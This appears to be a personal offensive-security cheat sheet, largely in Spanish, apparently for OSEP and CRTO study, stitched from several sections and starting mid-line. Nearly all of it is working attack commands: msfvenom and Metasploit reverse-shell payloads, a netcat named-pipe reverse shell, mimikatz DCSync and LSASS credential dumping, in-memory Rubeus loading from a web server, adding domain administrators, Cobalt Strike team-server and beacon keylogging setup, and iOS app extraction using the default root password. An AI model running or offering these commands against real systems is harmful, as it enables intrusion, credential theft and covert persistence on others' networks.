REG_DWORD /d 0 /f # Ver GPO politicas que aplican (o no) a mi equipo gpresult /r /Scope Computer # obtener información sobre las GPO que se aplican a tu equipo reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f sc create mimidrv binPath= C:\Windows\Tasks\vmimidrv.sys type= kernel start= demand sc start mimidrv ``` ### crackmapexec ```bash # Check if samba is enable and extrack netbios name crackmapexec smb # -u -p '' # Check if samba is enable and extrack netbios name all subnet crackmapexec smb 172.16.218.0/24 ``` ### dotnettojscript ```bash DotNetToJScript.exe \\\visualstudio\DotNetToJScript\ExampleAssembly\bin\Release\ExampleAssembly.dll --lang=Jscript --ver=v4 -o shell.js ``` ### evil-winrm ```bash evil-winrm -u \\administrator -H -i ``` ### gcc ``` gcc -static shell.c -o shell.elf upx -9 shell.elf ``` ### gobuster ```bash # Common directories on root gobuster dir -u http:// -w /home//.fuzz/dirb/common_4459.txt -a "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0" -e -t 23 -o xx_root_directories.fuzz # Common files and directories on root gobuster dir -u http:// -w /home//.fuzz/dirb/common_4459.txt -a "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0" -e -t 23 -x .php,.html,.txt -o xx_root_files_directories.fuzz ``` ### hashcat ```bash # Descifrar Hash NTLM v2 hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force # Descifrar Hash Ansible hashcat -m 16900 hash.txt /usr/share/wordlists/rockyou.txt --force # kerberos hashcat hashes.txt -m 13100 -a 3 # Buscar ID https://hashcat.net/wiki/doku.php?id=example_hashes ``` ### hostrecon ```bash . .\HostRecon.ps1 Invoke-HostRecon Invoke-HostRecon | Out-File C:\Windows\Tasks\HostRecon.txt ``` ### impacket ```bash # Obtener todos los usuarios del dominio, sin pedir pass y usando autenticación kerberos GetADUsers.py -all -k -no-pass -dc-ip / GetUserSPNs.py -request -k -no-pass -dc-ip / GetNPUsers.py -k -no-pass -dc-ip / -usersfile users -format john -outputfile hashes ``` ### johntheripper ```bash # Descargar clave por ssh scp @:/home//.ssh/id_rsa ./ # Convertir clave a formato legible por johntheripper python /usr/share/john/ssh2john.py id_rsa > .hash # Fuerza bruta sudo john --wordlist=/usr/share/wordlists/rockyou.txt svuser.hash ``` ### metasploit #### meterpreter ```bash # View channels channel -l # Get Username getuid # Migrate shell to explorer process migrate -N explorer.exe migrate -N w3wp.exe migrate -N spoolsv.exe # Create a notepad obfuscate process and migrate execute -H -f notepad migrate XXXX # Search file search -f local.txt # Enum LAPS run post/windows/gather/credentials/enum_laps ``` #### msfconsole ```bash # Windows 32 bits (para Word) sudo msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_https; set exitfunc thread; set lhost ; set lport 443; exploit" # Windows 64 bits sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost ; set lport 443; exploit" # Linux # Atención a `MeterpreterTryToFork true` esto permite hacer algo similar a migrate en Windows, además, permite hacer uso del comando shell sudo msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set lhost ; set lport 443; set MeterpreterTryToFork true; exploit" # Create workspace workspace -a [WORKSPACE] # Import from nmap db_import all.xml # Ver o añadir hosts hosts hosts -a [IP] ``` #### msfvenom ```bash # 32 bits (para Word) sudo msfvenom -p windows/meterpreter/reverse_https LHOST= LPORT=443 EXITFUNC=thread -f csharp # 64 bits sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f exe -o /var/www/html/shell.exe # ASPX sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f aspx -o /var/www/html/shell.aspx # Linux # La opcion `-k MeterpreterTryToFork=true` hace algo similar a migrate en windows, además, permite usar el comando shell sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -k MeterpreterTryToFork=true -f c msfvenom -p windows/x64/meterpreter/reverse_https LHOST= LPORT=443 -f raw -o shell.bin ``` ### mimikatz ```bash # Obtener NTLM de administrador del dominio en Web05 C:\Windows\Tasks\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain: /user:administrator /csv" "exit" C:\Windows\Tasks\mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit" C:\Windows\Tasks\mimikatz.exe "token::elevate" "lsadump::secrets" "exit" ./mimikatz.exe "lsadump::lsa /patch" "exit" ``` ### mssql Connect with windows-auth ```bash mssqlclient.py :@ -port 1433 -windows-auth ``` Connect with password ```bash mssqlclient.py @ # 8 ``` ### netcat nc ```bash # rlwrap -cAr nc -lvnp 443 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f # Compartir un fichero por netcat nc # Atacante cd /var/www/html nc -nlvp 443 < /var/www/html/chisel # Victima cat > chisel < /dev/tcp//443 chmod +x chisel # Comprobar md5sum chisel # Pasar archivo de windows a linux # linux para recibir archivo nc -lp 1234 > mimi.txt # windows para enviar nc.exe 1234 < mimi.txt # IMPORTANTE, CERRAR LA CONEXIÓN DESDE LINUX (EL RECEPTOR) ``` ### nmap ```bash # Escaneo de versión con scripts a todos los puertos, tratar a todos como online, deteccion de sistema operativo, minimo de paquetes por segundo nmap -sT -sC -sV -p- -Pn -A -vvv -T3 --min-rate=1000 -oA nmap/all -iL scope.txt # Escanear subred # Obtener información de netbios nmap -sTV -A -Pn -A -p 3389 -vvv -oA nmap/subred 172.16.237.160,165,166,167,168 # super rápido nmap -sTV -A -Pn --top-ports 25 -vvv -oA nmap/subred 172.16.237.160,165,166,167,168 nmap -sTV -A -Pn --top-ports 25 --min-rate=1000 -T5 -vvv -oA nmap/subred 172.16.237.160,165,166,167,168 # esto funciona pero mete mucha caña y se puede caer la conexion # con proxychains proxychains -q nmap -sT -Pn -n --top-ports 25 -T3 --min-rate=1000 -vvv -oA nmap/subred 172.16.237.150 ``` ### ntlmrelayx ```bash ntlmrelayx.py --no-http-server -smb2support -t smb://172.16.183.152 ``` ### lapstoolkit ```bash # Import . .\LAPSToolkit.ps1 Import-Module .LAPSToolkit.ps1 # Discovers LAPS Delegated Groups Find-LAPSDelegatedGroups # Checks the rights on each computer with LAPS enabled for any groups with read access and users with `All Extended Rights` Find-AdmPwdExtendedRights # Find computers with LAPS enabled, discover password expiration and can discover randomized password Get-LAPSComputers ``` ### ldapsearch ```bash # get dump users ldapsearch -Y GSSAPI -H ldap://dmzdc01. -D "@" -W -b "dc=,dc=com" '(&(objectClass=user))' ldapsearch -Y GSSAPI -H ldap://dmzdc01. -D "@" -W -b "dc=,dc=com" "servicePrincipalName=*" servicePrincipalName ``` ### linpeas ```bash # Grabar session de terminal script -t 2> timing.log -a session.log # Despues lanzar comando y Ctrl + D para parar scp @:session.log ./ cat session.log | aha --black --title "Terminal Session USER MACHINE" > linpeas__.html rm timing.log session.log ``` ### powermad ```bash # importar # crete machine to RBCD attack New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString '' -AsPlainText -Force) -Verbose ``` ### PowerShell Add domain admin ```powershell net user /add /domain net localgroup "Remote Desktop Users" /add /domain net group "domain admins" /add /domain runas /user: "Powershell.exe /c whoami" rdesktop -a 8 -z -x l -u -p -d -g 1366x768 -r sound:off -r clipboard:CLIPBOARD -r disk:home=/home//osep ``` Add local admin with RDP ```powershell net user /add net localgroup Administrators /add net localgroup "Remote Desktop Users" /add runas /user: "Powershell.exe /c whoami" rdesktop -a 8 -z -x l -u -p -g 1366x768 -r sound:off -r clipboard:CLIPBOARD -r disk:home=/home//osep ``` Change user password ```powershell $creds = New-Object System.Management.Automation.PSCredential ("\", (ConvertTo-SecureString "" -AsPlainText -Force)) $UserPassword = ConvertTo-SecureString '' -AsPlainText -Force Set-DomainUserPassword -Identity -AccountPassword $UserPassword -Credential $creds -Verbose ``` Change user password and cover ```powershell $remote = New-Object System.Management.Automation.PSCredential ("\", (ConvertTo-SecureString "" -AsPlainText -Force)) $creds = ConvertTo-SecureString '' -AsPlainText -Force Set-DomainUserPassword -Identity -AccountPassword $creds -Credential $remote -Verbose ``` Check 64bit shell ```powershell [Environment]::Is64BitOperatingSystem ``` Check CLM ```powershell $ExecutionContext.SessionState.LanguageMode ``` Enable PSRemoting ```powershell Enable-PSRemoting -Force ``` Load Assembly ```powershell $data = (New-Object System.Net.WebClient).DownloadData('http:///Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data) [Rubeus.Program]::Main("s4u /user:$ /rc4: /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) ``` Run DLL ```powershell Rundll32 c:\windows\tasks\shell.dll,run ``` Runas ``` runas /user:\ powershell ``` # CRTO Cheat Sheet ### Cobalt Strike #### Team Server **From terminal** ```bash sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile # Use TMUX ``` **As a Service** ```bash sudo nano /etc/systemd/system/teamserver.service ``` ```bash [Unit] Description=Cobalt Strike Team Server After=network.target StartLimitIntervalSec=0 [Service] Type=simple Restart=always RestartSec=1 User=root WorkingDirectory=/home/attacker/cobaltstrike ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile [Install] WantedBy=multi-user.target ``` ```bash sudo systemctl daemon-reload sudo systemctl status teamserver.service ``` ```bash sudo systemctl start teamserver.service sudo systemctl stop teamserver.service ``` ```bash sudo systemctl enable teamserver.service sudo systemctl disable teamserver.service ``` #### Beacon ```bash # Basic sleep # sleep 5 50 connect execute-assembly # Execute binary on remote Beacon run netstat -anop tcp # View listening ports jobs jobkill # Recon net logons clipboard keylogger printscreen screenshot screenwatch # DNS Beacon checkin # Get metadata/info Beacon ``` #### Listeners | name | payload | host | port | bindto | beacons | profile | | --------- | ------------------------------------- | -------------------- | ----------------------------------------------------------------- | ------ | -------------------- | ------- | | dns | windows/beacon\_dns/reverse\_dns\_txt | pics.nickelviper.com | 53 | | pics.nickelviper.com | default | | http | windows/beacon\_http/reverse\_http | nickelviper.com | 80 | | nickelviper.com | default | | smb | windows/beacon\_bind\_pipe | | TSVCPIPE-8ff80863-eb68-48ad-b397-34ae76d3577e (cambiar 4 últimos) | | | | | tcp | windows/beacon\_bind\_tcp | | 4444 | | 0.0.0.0 | | | tcp-local | windows/beacon\_bind\_tcp | | 4444 | | 127.0.0.1 | | # Page # Page 3 # Page 4 # Page 2 # How to extract IPA from iOS device 1. Download and install APP from Apple Store or other source. 2. Connect with SSH. ```bash ssh root@ # default password 'alpine' ``` 3. Go to Bundle container directory. ```bash cd /var/containers/Bundle/Application/ ``` 4. Get UUID folder from APP or listing all. ```bash find | grep "" ls * ```

All installed IPAS

5. Go to UUID folder APP ```bash cd ``` 6. Create `Payload` dir ```bash mkdir Payload ``` 7. Find .app folder name of UUID Folder and copy all content in Payload folder ```bash ls cp -r .app/ Payload/ ```
8. Create IPA File from folder ```bash zip -r /var/root/.ipa Payload/ ``` 9. Connect with SFTP ```bash sftp root@ # default password 'alpine' ``` 10. Get IPA ```bash get -r /var/root/.ipa ```